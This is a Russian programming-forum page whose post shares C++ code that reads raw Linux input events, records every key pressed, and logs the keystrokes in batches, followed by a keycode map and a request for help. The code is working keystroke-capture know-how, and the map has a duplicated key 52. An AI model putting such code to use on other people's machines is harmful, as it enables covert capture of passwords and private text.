        int eventSize = sizeof(struct input_event);
        int bytesRead = 0;
        const unsigned int number_of_events = 128;
        struct input_event events[number_of_events];
        int i;
 
        std::string kb_device = "";
        int keyboard {0};
 
        while (!isCancelled()) {
 
            if (keyboard <= 0) {
                kb_device = get_kb_device();
                keyboard = open(kb_device.c_str(), O_RDONLY);
 
                if(keyboard < 0)
                {
                    logger_.error("Error accessing keyboard from  %s. May require you to be superuser.", kb_device);
                }
            }
            else {
 
                bytesRead = read(keyboard, events, eventSize * number_of_events);
                for(i = 0; i < (bytesRead / eventSize); ++i) {
                    if(events[i].type == EV_KEY) {
                        if(events[i].value == 1) {
                            if(events[i].code > 0 && events[i].code < keycodes_.size()) {
                                strPressedButton += keycodes_.at(events[i].code) + ",";
                                signalKeyPress(keycodes_.at(events[i].code));
                            }
                        }
                    }
                }
 
                if (strPressedButton.length() > 30) {
                    logger_.information("нажатые клавиши: %s", strPressedButton);
                    strPressedButton.clear();
                }
            }
        }
        logger_.information("KeyboardTask is working....");
        this->sleep(sleep_period_);
    }
 
    std::string KeyboardTask::get_kb_device()
    {
        std::string kb_device = "";
        for (auto &p : std::filesystem::directory_iterator("/dev/input/"))
        {
            std::filesystem::file_status status = std::filesystem::status(p);
 
            if (std::filesystem::is_character_file(status))
            {
                std::string filename = p.path().string();
                int fd = open(filename.c_str(), O_RDONLY);
 
                if(fd == -1)
                {
                    std::cerr << "Error: " << strerror(errno) << std::endl;
                    continue;
                }
                int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z;
                ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap);
 
                if((EV_KEY & event_bitmap) == EV_KEY)
                { // The device acts like a keyboard
                    ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap);
 
                    if((kbd_bitmap & event_bitmap) == kbd_bitmap)
                        {
                            // The device supports A, B, C, Z keys, so it probably is a keyboard
                            kb_device = filename;
                            close(fd);
                            break;
                        }
                    }
                close(fd);
                }
            }
        return kb_device;
    }
 
}
вот список кодов с символами, пока для английской раскладки:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <string>
 
namespace tasks {
  static const inline std::unordered_map<int, std::string> keycodes_ =
  {    {0, "RESERVED"},
       {1, "ESC",},
       {2, "1",},
       {3, "2",},
       {4, "3",},
       {5, "4",},
       {6, "5",},
       {7, "6",},
       {8, "7",},
       {9, "8",},
       {10, "9",},
       {11, "0",},
       {12, "MINUS",},
       {13, "EQUAL",},
       {14, "BACKSPACE",},
       {15, "TAB",},
       {16, "Q"},
       {17, "W"},
       {18, "E"},
       {19, "R"},
       {20, "T"},
       {21, "Y"},
       {22, "U"},
       {23, "I"},
       {24, "O"},
       {25, "P"},
       {26, "LEFTBRACE"},
       {27, "RIGHTBRACE"},
       {28, "ENTER"},
       {29, "LEFTCTRL"},
       {30, "A"},
       {31, "S"},
       {32, "D"},
       {33, "F"},
       {34, "G"},
       {35, "H"},
       {36, "J"},
       {37, "K"},
       {38, "L"},
       {39, "SEMICOLON"},
       {40, "APOSTROPHE"},
       {41, "GRAVE"},
       {42, "LEFTSHIFT"},
       {43, "BACKSLASH"},
       {44, "Z"},
       {45, "X"},
       {46, "C"},
       {47, "V"},
       {48, "B"},
       {49, "N"},
       {50, "M"},
       {52, "COMMA"},
       {52, "DOT"},
       {53, "SLASH"},
       {54, "RIGHTSHIFT"},
       {55, "KPASTERISK"},
       {56, "LEFTALT"},
       {57, "SPACE"},
       {58, "CAPSLOCK"},
       {59, "F1"},
       {60, "F2"},
       {61, "F3"},
       {62, "F4"},
       {63, "F5"},
       {64, "F6"},
       {65, "F7"},
       {66, "F8"},
       {67, "F9"},
       {68, "F10"},
       {69, "NUMLOCK"},
       {70, "SCROLLLOCK"}
  };
}
Подскажите, пожалуйста, кто знает!
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
31.07.2024, 20:32
Помогаю со студенческими работами здесь

Как правильно убрать не нужные заголовки активного окна из текстбокса?
Пытаюсь использовать класс GetClassName. И с помощью его отфильтровывать окна, которые должны или не должны показываться :) Но я...

Как реализовать PrintScreen активного приложения?
Не подскажет ли всезнающий All, как реализовать данную весчь? Получить весь экран не проблема (Robot.createScreenCapture(area);), а вот...

Как изменить Memo активного дочернего окна MDI приложения?
Добрый день, задача: MDI приложение, у которого есть доп. инфорамционное окно (не дочернее), в котором можно запретить изменение...

Получить выделенный текст из другого приложения linux
Пытаюсь сделать переводчик, базовый функционал уже реализовал, но застопорился на способе захвата текста из другого приложения, логика...

Как получить дескриптор активного окна?
Перебрать все открытые окна? Какой признак есть у активного окна?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
26
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Access
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru